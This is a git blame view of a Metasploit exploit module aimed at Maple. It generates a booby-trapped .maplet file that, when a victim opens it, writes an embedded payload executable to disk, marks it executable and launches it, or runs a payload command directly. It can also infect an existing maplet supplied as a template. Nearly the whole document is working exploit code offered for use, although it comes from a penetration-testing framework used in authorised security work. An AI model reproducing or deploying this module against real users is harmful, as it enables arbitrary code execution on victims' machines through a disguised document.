Files
metasploit-gs/modules/exploits/multi/fileformat/maple_maplet.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

149 lines
4.1 KiB
Ruby
Raw Normal View History

2010-05-01 02:05:56 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2010-05-01 02:05:56 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2010-05-01 02:05:56 +00:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
2010-05-01 02:05:56 +00:00
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
2013-08-30 16:28:54 -05:00
2010-05-01 02:05:56 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Maple Maplet File Creation and Command Execution',
'Description' => %q{
This module harnesses Maple's ability to create files and execute commands
automatically when opening a Maplet. All versions up to 13 are suspected
vulnerable. Testing was conducted with version 13 on Windows. Standard security
2010-05-03 17:13:09 +00:00
settings prevent code from running in a normal maple worksheet without user
2010-05-01 02:05:56 +00:00
interaction, but those setting do not prevent code in a Maplet from running.
2013-08-30 16:28:54 -05:00
2010-05-01 02:05:56 +00:00
In order for the payload to be executed, an attacker must convince someone to
2010-05-03 17:13:09 +00:00
open a specially modified .maplet file with Maple. By doing so, an attacker can
2010-05-01 02:05:56 +00:00
execute arbitrary code as the victim user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'scriptjunkie'
],
'References' =>
[
[ 'OSVDB', '64541'],
2010-05-01 02:05:56 +00:00
[ 'URL', 'http://www.maplesoft.com/products/maple/' ]
],
'Payload' =>
2010-05-01 02:05:56 +00:00
{
'Space' => 1024,
'BadChars' => '',
'DisableNops' => true,
# 'Compat' =>
# {
# 'PayloadType' => 'cmd',
# 'RequiredCmd' => 'generic perl telnet',
# }
},
'Platform' => %w{ win linux unix },
2010-05-01 02:05:56 +00:00
'Targets' =>
[
[ 'Windows',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
2013-08-30 16:28:54 -05:00
2010-05-01 02:05:56 +00:00
[ 'Windows X64',
{
'Arch' => ARCH_X64,
2010-05-01 02:05:56 +00:00
'Platform' => 'win'
}
],
2013-08-30 16:28:54 -05:00
2010-05-01 02:05:56 +00:00
[ 'Linux',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
2013-08-30 16:28:54 -05:00
2010-05-01 02:05:56 +00:00
[ 'Linux X64',
{
'Arch' => ARCH_X64,
2010-05-01 02:05:56 +00:00
'Platform' => 'linux'
}
],
2013-08-30 16:28:54 -05:00
2010-05-01 02:05:56 +00:00
['Universal CMD',
{
'Arch' => ARCH_CMD,
'Platform' => %w{ linux unix win }
2010-05-01 02:05:56 +00:00
}
]
2013-08-30 16:28:54 -05:00
2010-05-01 02:05:56 +00:00
],
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2010-04-26',
2010-05-01 02:05:56 +00:00
'DefaultTarget' => 0))
2013-08-30 16:28:54 -05:00
2010-05-01 02:05:56 +00:00
register_options(
[
2010-05-01 02:05:56 +00:00
OptString.new('TEMPLATE', [ false, 'The file to infect.', '']),
OptString.new('FILENAME', [ true, 'The output file.', 'msf.maplet']),
])
2013-08-30 16:28:54 -05:00
2010-05-01 02:05:56 +00:00
end
2013-08-30 16:28:54 -05:00
2010-05-01 02:05:56 +00:00
def exploit
cmd = ''
content = ''
if target['Arch'] != ARCH_CMD
#Get payload as executable on whatever platform
binary = generate_payload_exe
2013-08-30 16:28:54 -05:00
2010-05-01 02:05:56 +00:00
#Get filename and random variable name for file handle in script
fname = rand_text_alpha(3+rand(15))
if target['Platform'] == 'win'
fname << ".exe"
end
fhandle = rand_text_alpha(3+rand(15))
2013-08-30 16:28:54 -05:00
2010-05-01 02:05:56 +00:00
#Write maple commands to create executable
content = fhandle + " := fopen(\"#{fname}\",WRITE,BINARY);\n"
exe = binary.unpack('C*')
2013-08-30 16:28:54 -05:00
2010-05-01 02:05:56 +00:00
content << "writebytes(#{fhandle},[#{exe[0]}"
lines = []
1.upto(exe.length-1) do |byte|
if(byte % 100 == 0)
lines.push "]);\r\nwritebytes(#{fhandle},[#{exe[byte]}"
else
lines.push ",#{exe[byte]}"
end
end
content << lines.join("") + "]);\r\n"
2013-08-30 16:28:54 -05:00
2010-05-01 02:05:56 +00:00
content << "fclose(" + fhandle + ");\n"
#Write command to be executed
if target['Platform'] != 'win'
content << "system(\"chmod a+x #{fname}\");\n"
end
content << "system[launch](\"#{fname}\");\n"
else
2010-05-11 22:28:18 +00:00
content << "system(\"#{payload.encoded}\");\n"
2010-05-01 02:05:56 +00:00
end
2013-08-30 16:28:54 -05:00
2010-05-01 02:05:56 +00:00
#Then put the rest of the original maplet
if datastore['TEMPLATE'] != ''
File.open(datastore['TEMPLATE'], 'rb') do |fd|
content << fd.read( File.size(datastore['TEMPLATE']) )
end
end
2013-08-30 16:28:54 -05:00
2010-05-01 02:05:56 +00:00
# Create the file
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(content)
end
end